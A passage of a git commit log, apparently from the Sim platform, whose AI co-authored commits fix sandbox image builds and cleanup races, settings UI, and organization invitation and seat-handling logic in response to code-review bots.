self-hosted path: `INBOX_ENABLED` can force Sim Mailer on for an operator running their own billing, and `ENTERPRISE_ENABLED` turns on the other nine features at once, but neither reached sandboxes. A self-hoster had to find a separately-named variable that was not part of that family, and one running with billing enabled could not enable it at all. Sandboxes now joins the enterprise feature set and the rollout flag is gone: - `sandboxes` is an `EnterpriseFeature` with `SANDBOXES_ENABLED` and its `NEXT_PUBLIC_` twin, so the master switch and the per-feature override both reach it like every sibling - `hasWorkspaceSandboxAccess` takes the inbox's shape exactly — the override wins, then a deployment without billing is unrestricted, then the workspace payer needs usable Max or Enterprise - the settings nav gains `selfHostedOverride`, so the section resolves through the same path as Sim Mailer instead of a second entitlement AND-ed in - `custom-sandboxes`, the `CUSTOM_SANDBOXES` secret, the now-unreachable `SANDBOXES_UNAVAILABLE` 403 copy, and the route's kill-switch branch are deleted Its legacy default is `true`, matching `inbox`: the gate already returns true whenever billing is off, so `false` would leave the nav override disagreeing with the gate that answers the request. Self-hosted builds run on the operator's own E2B/Daytona credentials, so there is no Sim-side cost to withhold — the docs now say so, since enabling the feature without a provider configured is the obvious trap. The new gate tests run with billing enabled on purpose; the `!isBillingEnabled` bail would otherwise answer every case and hide whether the override is wired. Verified by deleting the override line — exactly the one assertion fails. Co-Authored-By: Claude <noreply@anthropic.com> * fix(sandboxes): let the language menu match its trigger width `matchTriggerWidth={false}` exists for the opposite case — a narrow trigger whose option labels would truncate, letting the menu grow past it. The language field is a full-width form control with two short labels, so the override shrank the menu to "JavaScript" and pinned it to the right edge instead. The default (`true`) is correct here. Every other consumer passing `false` is a genuinely narrow trigger — a role picker in a member row, a table filter chip. Co-Authored-By: Claude <noreply@anthropic.com> * fix(sandboxes): re-queue a build when resolution finds the image unusable `ensureSandboxImage` only ran when a sandbox was saved, so resolution treated an unusable image as terminal and told the user to go fix a definition that was never wrong. Three states stuck permanently until someone re-saved in Settings: - a build that failed - a build whose worker died mid-flight, stranding the row in `building` - every sandbox created while the deployment ran a `runtime` provider, after a switch to a `prebuilt` one — `runtime` writes no image rows at all, so the whole fleet resolved to "no completed build" with nothing to repair it Resolution now re-queues through the registry's existing idempotent entry point before failing, and says a build is on its way instead of pointing at Settings. The conflict guard already claims only a `failed` row or a stale `pending`/ `building` one, so executions arriving during a healthy build enqueue nothing — no thundering herd from a hot workflow. The registry is imported dynamically for the same reason `sandboxDb` is: it pulls `@sim/db` into the static graph, which this module keeps out of the executor bundle. That also avoids a cycle, since the registry imports `invalidateSandboxResolution` from here. A repair that itself fails is logged and swallowed — it must never replace the build error naming the sandbox. Verified by deleting the repair call: exactly the three new assertions fail. Co-Authored-By: Claude <noreply@anthropic.com> * improvement(sandboxes): let the picker show just the sandbox name The label read "Test · Python · 1 package". The block's own list is already scoped to the language its sibling `language` subblock selects, so the language repeated on every row said nothing, and the package count is decoration next to the name that identifies the sandbox. The language stays for the one caller that cannot filter — agent tool-input renders this field under a synthetic id where the sibling `language` value is unreachable, so its list spans both languages and the name alone is ambiguous. That is the same missing value which disables filtering, so `showLanguage` is derived from it directly rather than passed independently and left to drift. A failed build is still marked: that suffix is the difference between a selection that runs and one that does not. Passing the flag also means dropping `.map(toSandboxOption)` for an explicit arrow — `Array.map` hands the index to the second parameter. Co-Authored-By: Claude <noreply@anthropic.com> * fix(sandboxes): show the sandbox name on the block card, not its uuid The card printed "443f4934-26ab-44ab-8...". `resolveDropdownLabel` only reads a subblock's static `options` array, and the sandbox picker is a `combobox` whose options load asynchronously, so its array is empty and the raw stored id fell through to the label. Resolved the same way skills and tools already are: a `resolveSandboxLabel` in the display layer, fed from the shared sandbox list query — the same cache entry the picker reads, so this adds no request. Two deliberate scopings: - the query is subscribed only for the sandbox row. `SubBlockRow` is memoized per subblock, and the list query polls while a build is in flight, so an unconditional hook would re-render every row on the canvas on each poll tick - the resolver matches the field id, not just the type. There is no dedicated subblock type for it, and matching `combobox` alone would relabel unrelated pickers An id with no matching sandbox resolves to null rather than a guess, so a deleted sandbox falls through to the caller's placeholder. The template preview surface is left alone: it is explicitly hook-free and passes empty lists for tools and skills too. Co-Authored-By: Claude <noreply@anthropic.com> * fix(sandboxes): hide the Sandboxes section with no provider configured Entitlement decides whether a workspace may author sandboxes; nothing decided whether anything could run one. A self-hosted deployment with SANDBOXES_ENABLED but no E2B or Daytona credentials got a fully functional tab whose output no Function block could select — the picker is gated on the provider vars, the tab was not. Both navigation planes now drop the section when neither NEXT_PUBLIC_SANDBOX_ENABLED nor the pre-Daytona NEXT_PUBLIC_E2B_ENABLED is set — the same pair the picker's `showWhenEnvSet` reads, so the two cannot disagree. Dropped rather than locked: an upgrade does not conjure a provider. The unified plane drops it in `buildUnifiedSettingsNavigation` rather than in the sidebar's filter, because the sidebar's `selfHostedOverride` short-circuit runs before its `requiresMax` check and would have revealed the tab anyway. It reads the browser twins, not the server's `isRemoteSandboxEnabled`, since this module renders on both sides. The predicate is a function, not a module constant, because the constant form was untestable and ambient: the env mock falls through to `process.env`, and `apps/sim/.env` (gitignored, so absent on CI) sets NEXT_PUBLIC_E2B_ENABLED=true. The nav tests passed locally and failed 6 assertions with the flag cleared. They now pin both flags, so the suite is identical with and without a local env file — verified by running it both ways. Co-Authored-By: Claude <noreply@anthropic.com> * docs(sandboxes): correct three claims the code no longer makes The Sandboxes section described behavior two commits on this branch changed, and led with an internal detail no reader needs. - entitlement is no longer Max/Enterprise only: self-hosted deployments unlock sandboxes with SANDBOXES_ENABLED, and the section is hidden outright when a deployment has no sandbox provider, which is the state a self-hoster is most likely to hit and least likely to diagnose - a build that is not Ready is no longer terminal. It is queued again on the next run, so the advice is to wait and re-run, not to go edit a package list that was never wrong - deleting a sandbox frees its build once nothing else references it. Builds are shared by content, so this is the one place a reader could reasonably assume deletion is immediate Dropped the `ModuleNotFoundError` aside: what the old code did instead is not something a reader needs to know to use the feature. The page is hand-written — `function` has category 'blocks' and is absent from `NATIVE_RESOURCE_BLOCK_TYPES`, so generate-docs skips it and these edits will not be overwritten. Co-Authored-By: Claude <noreply@anthropic.com> * feat(sandboxes): release the provider image when nothing references it Deleting a sandbox only removed its row, leaving the built template in E2B until the 30-day retention sweep — up to a month of paying to store an image nothing could select. Editing a package list had the same effect on the old content address, which is the more common case since every edit re-points the sandbox. `releaseSandboxImage(specHash)` now deletes the provider image and its row from both paths. It reuses the sweep's provider call and its ordering: image first, row second, so a refused delete leaves the row for the sweep to retry rather than orphaning a remote template nothing points at. Two guards make eager deletion safe: - builds are keyed by content, not by workspace, so two workspaces declaring the same package list share one image. The release no-ops while any sandbox still references the hash — otherwise one workspace's delete would break the other's - an in-flight build is left alone rather than raced; the sweep collects it once it settles Called detached from both routes. The row is already committed by then, so the user's action has succeeded whatever the provider says, and awaiting would hold a UI delete open on a remote call the sweep would retry anyway. Every failure inside is logged and swallowed for the same reason. E2B's delete verified against their API reference: DELETE /templates/{templateID} with X-API-Key, 204 on success. The existing implementation already matched, so this commit only adds the call sites and the guards. Co-Authored-By: Claude <noreply@anthropic.com> * fix(sandboxes): rate-limit the automatic rebuild, drop the one-off status dot Two follow-ups to the resolution repair. The repair had no rate limit. `ensureSandboxImage` re-claims a `failed` row on sight, and a bad package name fails in seconds, so the in-flight guard never closed the window: a workflow on a one-minute schedule would enqueue a build a minute against a package list that will never resolve, each one real provider build compute. Before the repair existed resolution simply threw, so this was introduced with it. The two callers want different things, so the cooldown is opt-in. A save is a person explicitly asking for another attempt and still retries immediately; resolution passes `FAILED_BUILD_RETRY_COOLDOWN_MS` and gets at most one attempt per window no matter how often the workflow runs. Ten minutes: long enough that per-minute runs cannot drive per-minute builds, short enough that a transient registry outage clears within the hour. The status line loses its colour dot. `size-[6px] rounded-full` appeared in exactly one file in the repo, so it was a new primitive rather than a pattern, and it duplicated state the text colour already carries — the label now turns `--text-error` on a failed build, which is what every other status row in settings does. `ChipTag` was the wrong home for this: its variants are `mono`/`invite`, with no semantic tone, so a status version would have meant overriding its chrome from the consumer. Also corrects the docs line this changes: a failed build is retried periodically, and saving is the way to retry now, so "wait a moment and run again" no longer describes it. Co-Authored-By: Claude <noreply@anthropic.com> * fix(sandboxes): claim the image row and its reference check in one statement Greptile P1. Reading references in one statement and deleting in another left a window — a wide one, since a provider delete is a network call — where a second workspace could declare the same package list, inherit the `ready` row, and have its next run fail against a template already on its way out. Content addressing is what makes that reachable: the image is shared, so one workspace's delete can strand another's sandbox. The reference check now lives in the conditional DELETE itself, so winning the delete is the proof that nothing referenced the hash. A workspace that adopts the hash first makes the delete match nothing and the release becomes a no-op. Claiming the row before the provider call would otherwise strand a template nothing points at if the provider then refused, so that path puts the row back and the retention sweep inherits the retry — the same property the previous ordering had. The sweep is deliberately left as it is: its equivalent window needs a hash unreferenced AND unused for 30 days, and its provider-first ordering encodes the documented retry-on-refusal behaviour this path now reproduces explicitly. No transaction is opened. The provider call sits between discrete statements rather than inside one, so no pooled connection is held across it — which is why this uses a conditional delete instead of the repo's `pg_advisory_xact_lock` pattern, whose lock only releases at commit. Co-Authored-By: Claude <noreply@anthropic.com> * fix(sandboxes): route the retention sweep through the same image claim Cursor and Greptile both flagged the sweep as still carrying the interleaving just fixed in releaseSandboxImage, and they are right — the reason given for leaving it alone last round does not survive scrutiny. That reason was that provider-first ordering encodes retry-on-refusal, so making the claim atomic would trade a race for an orphaned template. The release path already answers that: claim the row, and put it back if the provider refuses. The sweep can have both properties too. The rarity argument was also weaker than stated. The sweep nominates up to 200 candidates and then works through them eight network deletes at a time, so its check-to-delete gap is seconds to minutes — wider than the window that was just closed, not narrower. Both callers now share `claimAndDeleteImage`, which owns the whole contract: the unreferenced check lives inside the DELETE, the provider call runs only after the claim succeeds, and a refusal restores the row. Having written that ordering twice is what let the two paths drift, so it exists once now. The sweep's query becomes a nomination step only. Its retention cutoff is passed into the claim rather than trusted from the earlier read, so a candidate that stops qualifying mid-sweep fails its claim and is skipped instead of losing its image. Co-Authored-By: Claude <noreply@anthropic.com> * fix(sandboxes): rebuild a hash adopted while its image was being deleted Greptile's third pass on this path, and a case the previous two did not cover: the adopter starting a *fresh build* rather than inheriting a ready row. Claiming removes the registry row, so between that and the provider delete finishing, a workspace can declare the same package list, get a new row, and start a build under the same content-derived imageRef — which the in-flight delete then removes. The window itself is inherent. The registry row and the provider template are two systems with no shared transaction, so it can be narrowed but not closed. A Redis lock would not close it either: acquireLock returns true when Redis is absent, so it cannot be a correctness guarantee for self-hosted. Holding a Postgres advisory lock would, but only by pinning a pooled connection for the length of a provider call, which is a worse trade. What was avoidable is the adopter finding out the slow way. Its row is new and healthy-looking, so nothing noticed: resolution only repairs a row that is missing or failed, and a failed one waits out the retry cooldown first. The release path now re-checks after the delete and re-enqueues, so the rebuild starts immediately instead of one failed run plus a cooldown later. A build already in flight is left to the conflict guard, since it may still outlive the delete. Co-Authored-By: Claude <noreply@anthropic.com> * fix(sandboxes): reclaim a ready row whose image was deleted underneath it Greptile found the hole the previous commit left, and it is the case that made the claim in that commit's message wrong: this one is permanent, not transient. If a re-adopted hash reaches `ready` before the in-flight provider delete lands — plausible, since E2B layer caching can rebuild an identical spec in seconds — the row looks healthy while its imageRef points at nothing. Resolution repairs a row that is missing or failed, never one claiming to be ready, so nothing recovers it. The sandbox stays broken until someone re-saves it by hand. `rebuildIfReadopted` called `ensureSandboxImage` with no options, whose conflict guard reclaims only a failed or stale in-flight row, so it silently did nothing in exactly that case. The release path now passes `imageKnownGone`, which widens the re-claim to any settled row rather than only a failed one. It is the one caller that knows the image is gone regardless of what the row says. An in-flight build is still left alone: it either recreates the template it was building or fails into the normal repair path, and resetting it would only add a duplicate build. The three ways a settled row may be re-claimed now sit in one `settledRebuildBranch` helper — any settled row when the image is known gone, a failed one after the cooldown for an automatic caller, a failed one immediately for a person — because inlining the third case is what hid the gap. Co-Authored-By: Claude <noreply@anthropic.com> * fix(sandboxes): let a same-spec save retry a failed build Cursor Bugbot. `scheduleSandboxBuild` sat inside the changed-hash branch, so a save that did not alter the package list never reached the registry. The comment above it described the opposite — that an unchanged spec finds a ready row and enqueues nothing — which is what `ensureSandboxImage` does, but only if it is called. That made the docs wrong too. They tell a reader to save the sandbox again to retry a failed build immediately, and this branch is exactly why that did nothing: the only way to retry was to edit the package list into a different hash, which is not what someone recovering from a transient registry failure wants to do. The call is now unconditional and the registry decides what a save costs, which is what its conflict guard is for: a ready or in-flight row is left alone, a failed one is re-claimed at once. Releasing the previous image stays behind the hash check, since only a changed hash orphans one. Cache invalidation is unchanged — `scheduleSandboxBuild` already does it, which is why the else branch existed. Co-Authored-By: Claude <noreply@anthropic.com> * docs(sandboxes): correct the image cache's staleness invariant Cursor Bugbot found that a released image can still be served from another replica's cache. The finding is real, and the reason it went unnoticed is that the cache documented an invariant which eager release quietly broke. It claimed a `ready` row is terminal for its spec hash, so a cached hit could not go stale in a way that matters. That held while the only ways a row changed were an edit (new hash) or a delete (caught by the `workspace_sandbox` read). Releasing an image eagerly made a `ready` row disappear with the hash unchanged, so the premise no longer holds and the comment was actively misleading to the next reader. No behaviour change here — the exposure is bounded at IMAGE_TTL_MS on replicas other than the one that ran the release, and it self-heals once the entry expires and the row read finds nothing. Closing it properly needs cross-replica invalidation or a provider-error path that invalidates on "template not found", both of which are larger than a review fix; the comment now says so instead of implying the problem cannot exist. Co-Authored-By: Claude <noreply@anthropic.com> * docs(sandboxes): note that a JavaScript sandbox needs an import to apply Cursor Bugbot pointed out that `useRemoteSandbox` keys on detected static import/require and never on the selected sandbox, so JavaScript without one runs locally and the selection has no effect. Keeping the behaviour: honouring the selection would force those blocks remote, and the large-value-ref guard immediately below would then reject code that runs fine today. Documenting it instead, next to the picker, since a selection that silently does nothing is only surprising if nothing says so. Python is unaffected — it always runs remotely, so its sandbox always applies. Co-Authored-By: Claude <noreply@anthropic.com> * fix(sandboxes): stop create mode surviving a return to an open sandbox Cursor Bugbot. Create mode and having a sandbox open are mutually exclusive, but nothing enforced it, so both could be set at once — and the screen then lied about which sandbox its Delete pointed at. With `isCreating` true and `selectedId` restored, `baseline` is null, so the editor renders an empty "New sandbox" form, while the Delete action is built from `selected` and still targets the restored sandbox. An admin looking at a blank create form could delete a sandbox it never named. Two ways in, both closed: - Browser Forward after starting a new sandbox restores `selectedId` without going through `closeEditor`. The render-time sync that already drops a stale draft now also leaves create mode, which is the same class of correction and the reason that block exists. - "New sandbox" set `isCreating` without clearing `selectedId`, so the same contradiction was reachable without touching history at all. It now clears the selection, with `history: 'replace'` because switching mode is not a destination. Co-Authored-By: Claude <noreply@anthropic.com> * fix(ci): pin the sandbox flag in the second nav catalog test, bump the chart Two CI failures, both mine. `app/workspace/[workspaceId]/settings/navigation.test.ts` asserts the unified catalog and was left on ambient env. Dropping the Sandboxes section without a sandbox provider made it 26 items instead of 27 on CI, which has no `apps/sim/.env` — the same trap already fixed in the sibling `components/settings/navigation.test.ts`, in the one file that was missed. Fixing it needs `vi.hoisted` rather than the sibling's `beforeEach`, because this file reads `allNavigationItems`, built once at module load; a hook would run after the value it is trying to influence already exists. The chart gate is separate: this branch adds sandbox settings to `helm/sim/values.yaml`, and the workflow requires a Chart.yaml bump whenever `helm/sim/**` changes. Additive config, so 1.3.0 -> 1.4.0 by SemVer. Verified by running the whole suite with the flags forced off, not just the two navigation files — no other test depends on a local env file. Co-Authored-By: Claude <noreply@anthropic.com> * fix(sandboxes): keep the row restore to a refused delete only Cursor and Greptile, independently, on the same code. `deleteImage` and `rebuildIfReadopted` shared one try/catch, so a rebuild failure after a *successful* provider delete was handled as if the provider had refused: the catch put the claimed row back, `ready` status and all, pointing at a template that no longer exists. That is the one state resolution cannot repair — it fixes a row that is missing or failed, never one claiming to be ready — so it reintroduced the permanent breakage an earlier commit had just closed, through the error path rather than the happy one. Restoring now belongs strictly to a refused delete. Once the template is gone the row stays gone, and the rebuild runs past that catch. The rebuild also swallows its own failures: it follows a delete that already succeeded, so it must not be reported as a failed release, and inside the sweep it must not reject the rest of its chunk. The adopter's next run still reaches the normal repair path. The regression test drives a rebuild failure and asserts no row is restored. It fails against the original shape — rebuild inside the shared try, no inner catch — which is what the two reviewers were describing. Co-Authored-By: Claude <noreply@anthropic.com> * fix(sandboxes): drop the dead row when a re-adopt rebuild cannot be scheduled Greptile, one layer under the previous fix. Making the post-delete rebuild swallow its own failures kept it from being reported as a failed release, but left the adopter's row claiming a `ready` image whose template is already deleted — the one state resolution cannot repair, since it rebuilds a row that is missing or failed and never one that says ready. So the row is now dropped when the rebuild does not take. That turns the adopter into the missing-row case, which the next execution repairs on its own, instead of a sandbox that stays broken until someone re-saves it by hand. A failure to drop it is logged at error, because at that point two writes in a row have failed and there is nothing further this path can do. Also gives the release tests a default "nothing re-adopted" select. Without it the rebuild threw on an unstubbed mock and the cleanup delete overwrote the predicate the claim assertions read, so two of them were passing on the wrong statement. Co-Authored-By: Claude <noreply@anthropic.com> * feat(sandboxes): repair a missing image at create, where the truth is observable Six review rounds narrowed the window between deleting a shared template and another workspace adopting its content hash, and each fix exposed the next facet. They all share a cause: the registry row and the provider template are two systems with no shared transaction, so any scheme that keeps them in step is guessing. Create is the one step that does not have to guess. It either gets a sandbox or it does not, so a `ready` row pointing at a deleted template now corrects itself the first time it is used, rather than needing someone to re-save the sandbox. - `SandboxImageBuilder.isMissingImage` asks the provider to classify its own failure. Prebuilt-only, because a runtime provider has no image to miss - E2B answers it off `NotFoundError`, which the SDK maps from a 404. The only resource a create names is the template, and the two subclasses that describe other calls — a missing file, an exited sandbox — are excluded. The classifier stays deliberately narrow: treating auth or rate-limit failures as a missing image would turn a provider outage into a build storm - `repairMissingSandboxImage` invalidates the cache, rebuilds with `imageKnownGone` (no cooldown, since this observed the image is gone rather than inferring it), and returns copy telling the author to run again - `ResolvedSandbox` carries `specHash` so the failing execution can name what to rebuild This subsumes the open facets rather than adding another guard beside them: the stale per-replica cache, an adopter left `ready` against a deleted ref, and a rebuild that never took all end at the same place — the next run repairs itself. Co-Authored-By: Claude <noreply@anthropic.com> * fix(sandboxes): key the build trigger by attempt, not by spec Cursor Bugbot. The Trigger.dev idempotency key was the content address alone, so a second attempt at the same spec was deduped against the first: the SDK returns the finished run instead of starting one, and the row that `ensureSandboxImage` just flipped to `pending` sits there with no worker. Nothing can re-claim a `pending` row until it goes stale, so a retry inside the 5-minute TTL did nothing for the next half hour. That silently disabled every repair path — save-to-retry, which the docs name explicitly, and both the resolution and create-time rebuilds. The key's own comment already said it exists "to collapse concurrent saves of the same spec into one build, not to suppress a retry after one failed". The conditional update above it is what actually collapses concurrent saves: only one caller gets a row back, so only one ever reaches the trigger. Keying by the claim's `updatedAt` keeps that property and makes each genuine attempt distinct, while a duplicate delivery of one attempt still collapses. Co-Authored-By: Claude <noreply@anthropic.com> * feat(sandboxes): create a sandbox from the picker, and fix three UI papercuts The Function block's sandbox field now pins a "Create Sandbox" row above its options, matching the "Create Skill" / "Create Tool" rows it sits beside, so authoring a package list no longer means leaving the workflow for Settings. The row is declared by the field (`createAction`) rather than hardcoded by id; block configs are read by the serializer and executor, so the name maps to a modal in the picker rather than carrying a component. Two things the modal has to get right. It seeds the new sandbox's language from the sibling the list is scoped by, or a sandbox created off a JavaScript block would land in the Python list and vanish. And the created option is held locally until a real fetch carries it, or the field would sit on a raw uuid until hydration answered. Also: - The Sandboxes icon was the Logs block's icon (`blocks/blocks/logs.ts`), in both the settings nav and the list rows. It is the Function block's now. - "Default image (no extra packages)" claimed something untrue: E2B and Daytona base images both ship with packages installed. - A new sandbox opened in Python while the Function block defaults to JavaScript. The test pins the two together rather than the literal. Draft shape and helpers moved out of the editor component into `utils.ts` — three consumers now, and it makes the defaults testable without a DOM. * feat(settings): one Max-plan wall, and give the create modal the same one The create-sandbox modal answered a non-Max workspace with a red line under a form it could never submit, and no way to act on it. It now renders the same wall the Settings > Sandboxes tab does — heading, one sentence on what the plan unlocks, and an Upgrade to Max chip — instead of the fields. That wall existed twice already (sandboxes and Sim Mailer), so this extracts it rather than adding a third copy. `SettingsUpgradeNotice` owns the copy rhythm and the route, and `compact` trades the page's full-height centering for a modal's. Both settings consumers now compose it; neither keeps its own markup. The action lands on billing, which `resolveSettingsHref` already redirects to the plan-comparison page for a member who cannot manage billing — so it is a route to explore plans, never a dead end. The chip stays hidden for non-admins, exactly as the settings pages had it. A non-admin on an entitled workspace gets the muted reason rather than the upgrade wall: buying a plan is not what is in their way. --------- Co-authored-by: Claude <noreply@anthropic.com> |
||
|
Waleed
|
fadff0e35f |
fix(integrations): keep the Atlassian coverage hint visible, and trim dead surface (#6105)
* fix(integrations): keep the Atlassian coverage hint visible, and trim comments Cursor Bugbot: `ChipModalField` hides a `hint` whenever that field shows an `error`, so the multi-product coverage sentence vanished the moment the domain format check fired — exactly when someone mid-form most needs it. The sentence also describes the token, not the domain, so it read as domain guidance. Moves it to the API token field, which surfaces its errors through `ChipModalError` at the bottom rather than its own `error` prop, so the hint cannot be displaced. Also drops rationale comments that restated the code they sat above. * chore(integrations): trim the credential-display barrel to what consumers use * fix(emcn): let a custom modal field associate its hint with the control it wraps `ChipModalField` computes `aria-required`/`aria-invalid`/`aria-describedby` from its own state, but `type='custom'` returned its children untouched — so the `hint` and `error` text it renders was visible and never announced. The field cannot apply the ARIA itself here: a custom child may be a bare input or a wrapper several levels above one, which is the same reason `associatesLabel` already excludes custom from the label's `htmlFor`. Adds a function form for custom children that receives the ARIA, so the consumer — which knows where focus lands — attaches it. Existing `ReactNode` children are unaffected; all five current custom-field call sites keep working untouched. Uses it for the Atlassian API token field, whose coverage hint this branch had just relocated onto a custom field. |
||
|
Vikhyath MondretiandClaude
|
11c0d3b75d |
feat(organizations): sweep a joiner's owned workspaces into the org on join, disclose it at accept, and add external workspace invites (#5918)
* feat(invites): explicit external members
* update docs
* fix(organizations): atomic admin workspace sweep, removal-impact status in dialog, and preview-unavailable disclosure
Review round 1: the v1 admin add-member now commits membership and the
workspace sweep in one transaction; the remove-member dialog holds confirm
while the credential-impact check loads and shows a caution when it fails;
a failed join preview flags joinPreviewUnavailable so the accept screen
falls back to a generic migration notice. Also aligns the invite test's
react-query mock and repairs two pre-existing docs type errors.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(organizations): close the concurrent-workspace escape in the join sweep
Personal workspace creation now serializes with organization joins on the
user's billing-identity lock and re-verifies membership inside its
transaction; both join paths (invite acceptance and the v1 admin add)
re-read the owned-workspace set under that lock after the member insert
and roll the whole join back when it diverged from the advisory-lock plan,
so a workspace created mid-join can never land outside the organization.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(organizations): fail stale-grant member joins and re-resolve the creation race client-side
A member-role org acceptance whose grants all turned stale now rolls back
with workspace-not-found instead of stranding a workspace-less member, and
the workspace resolver treats the creation-vs-join 409 as a signal to
re-resolve (the user is authenticated with org workspaces) rather than
falling into the login path.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(invitations): mirror the stale-grant gate in the join preview
The accept-screen preview now returns no-join for a member-role org
invite whose grants all left the stamped organization, matching the
acceptance-side rollback so the disclosure never promises a migration
that acceptance would refuse.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(workspaces): survive the join race on lazy default creation and gate removal on live impact data
The workspace list GET now re-lists (returning the join sweep's
workspaces) when lazy default creation loses the race to an organization
join instead of failing with a 500, and the remove-member dialog gates
its confirm on isFetching so a background refetch can never let an admin
confirm against a stale credential-impact list.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(invitations): surface the accept conflict message and refresh workspace caches post-accept
The accept route now carries the human-readable message alongside the
machine-readable error kind (the client prefers it for server-error), and
a successful accept invalidates workspace queries so the swept workspaces
appear immediately instead of after the stale window.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(billing): sweep archived workspaces in Pro-to-Team conversion and org creation
Every attach call site now passes includeArchived so the archived escape
hatch is closed uniformly — join-attach, admin move, subscription-driven
org provisioning, and manual org creation all sweep archived personal
workspaces into the organization.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(invitations): reject acceptance when the sweep set differs from the disclosed set
The join preview now carries the workspace ids it disclosed, the accept
screen echoes them back as a disclosure token, and acceptance rolls back
with disclosure-outdated (409) whenever the set it would sweep no longer
matches — a workspace created after the preview rendered can never move
without the user seeing the refreshed notice first.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(invitations): send the disclosure token for no-join previews too
A preview that predicted no join still tells the user nothing moves — the
empty disclosed set is now echoed on accept, so a join that becomes
possible between preview and accept (left another org, billing turned
usable, grants un-staled) conflicts with disclosure-outdated instead of
sweeping workspaces without a rendered notice.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(invitations): gate all-stale member joins before disclosure and always refetch removal impact
The all-stale check for member-role org invites now runs before any
mutation and before the disclosure comparison, so an invite whose grants
all left the org fails with workspace-not-found instead of trapping
owners of personal workspaces in a disclosure-outdated retry loop. The
removal-impact query drops its stale window (staleTime 0): every dialog
open refetches while the confirm is held on isFetching.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(organizations): keep-external on org recovery and label archived move candidates
Org creation/recovery now uses the keep-external collaborator policy
(matching Pro-to-Team conversion) so different-org collaborators on
archived workspaces cannot abort it with a conflict, and the admin
workspace-move search and preflight expose an archived flag so internal
tooling can label archived targets.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(invitations): guard the reverse disclosure direction
A will-join notice whose acceptance downgrades to no-join (stale
escalation denial, concurrent other-org membership) now fails with
disclosure-outdated instead of silently succeeding as an external grant —
the disclosure token binds the outcome in both directions.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* address comments
* fix
* fix(invitations): one invite surface, coalesced grants, coherent seat model
Consolidate the two invite modals into a single surface and fix the
semantics the split had been hiding.
Invite flow:
- One InviteModal for all three entry points (workspace header, workspace
settings, organization settings), with a workspace multi-select and an
explicit Membership choice that states the seat consequence.
- Coalesce grants instead of 500ing. A partial unique index allows one
pending invitation per (email, organization), so inviting someone to a
second workspace raised a raw 23505. New workspaces now merge into the
pending invitation (with a retry for the concurrent-insert race) and the
invitee gets one link covering everything.
- External collaborators require their own paid plan, checked at invite
time and re-checked on accept, since the invitation lives for 7 days.
Imposed externality is exempt in both places: an invitee already in
another organization is forced external regardless of the inviter's
choice, so the plan gate must not apply to them.
- Every invitation must grant at least one workspace, so accepting always
lands somewhere. Enforced at creation for all roles.
- Revocation is grant-scoped. Since one invitation can span workspaces,
revoking from a workspace's member list withdraws only that grant and
cancels the invitation just when the last one goes. Whole-invitation
revocation now requires authority over all of it rather than admin on
any single granted workspace.
- The accept screen names every granted workspace and states whether the
invitee joins as a member, an admin, or an external collaborator, and
whether that uses a seat.
Seats:
- One rule for the pending-invitation predicate, seat capacity, and the
derived figures; the three counting sites now share it.
- Team seats are elastic (subscription.seats tracks the member count), so
treating that as a cap reported negative headroom on any outstanding
invite. Available seats are clamped and gates branch on whether the plan
actually has a fixed cap.
- POST /api/v1/admin/organizations/[id]/members could never succeed on
Team: it validated N members against N seats. It now skips the cap for
elastic plans, matching invitation acceptance, and reconciles seats
after a committed add.
Also surfaces the External label on the workspace Teammates list, which
already received the flag and dropped it, and removes dead code: the
grantless organization-invite route and contract, three unreferenced
invitation helpers, and the unreachable
ensureUserInOrganization/addUserToOrganization/validateMembershipAddition
cluster.
Co-Authored-By: Claude <noreply@anthropic.com>
* fix(invitations): close the two accept-disclosure gaps Bugbot found
Membership notice ignored the join preview. `buildMembershipNotice` keyed off
the invitation's sent `membershipIntent`, but acceptance resolves an internal
invite to external when the invitee already belongs to another organization, or
when the granted workspace changed organizations after the invite went out. The
screen therefore promised "you'll join as a member, which uses one of their
seats" to people who would neither join nor consume a seat. It now keys on the
preview's `willJoinOrganization` — the same signal the migration notice already
used — and falls back to the sent intent only when no preview could be computed.
In-app accept skipped the disclosure entirely. `useAcceptMyInvitation` posted an
empty body, so `disclosedWorkspaceIds` was absent and the server's consent guard
was skipped, and the pending-invitations modal never showed which owned
workspaces would move. Accepting from the workspace switcher (including the
desktop path) could silently sweep personal workspaces into the organization,
bypassing the consent model this PR adds on /invite. The list endpoint now
returns each invitation's join preview, the modal renders the same
membership/migration disclosure as /invite, and accept echoes
`disclosedWorkspaceIds` so the guard applies on both paths.
Both notices moved into lib/invitations/disclosure-copy.ts and are consumed by
/invite and the modal, so the two accept surfaces cannot drift into disclosing
different outcomes for the same invitation — which is how this gap arose.
Co-Authored-By: Claude <noreply@anthropic.com>
* fix(invitations): carry the membership outcome in the disclosure token
Empty disclosure skipped membership consent. The token was only the
workspace-id list, so a no-join preview and a will-join preview for someone who
owns nothing both echoed `[]`. Neither guard could tell those apart: the forward
check compares sweep sets, and the reverse check required a non-empty disclosed
set. An invitee who left their other organization between preview and accept
would therefore be silently made a seat-consuming member after being told they
would stay external, and the mirror case could silently demote a promised join.
The accept body now also carries `disclosedWillJoinOrganization`, compared
against the resolved outcome before any write, so consent covers the membership
decision and not just the migration. Both accept surfaces send it.
This was widened by the previous commit: keying the membership notice on the
preview made the screen promise a join outcome the token never verified.
In-app accept errors lacked copy. `getInvitationErrorMessage` omitted
`external-requires-paid-plan`, `disclosure-outdated`, and
`workspace-not-found`, so those failures fell through to the generic "may have
expired" fallback. `disclosure-outdated` became newly reachable in-app the moment
that path started sending the token, so the gap arrived with the fix for it.
Co-Authored-By: Claude <noreply@anthropic.com>
* fix(invitations): compare the join disclosure against new-membership creation
The membership consent guard compared the disclosed outcome against
`shouldJoinOrganization`, which stays true for an invitee who already belongs to
the target organization — the invitation's intent is still internal. The join
preview reports no-join for exactly that case, because nothing changes for them.
Every such acceptance therefore failed `disclosure-outdated`, and the retry
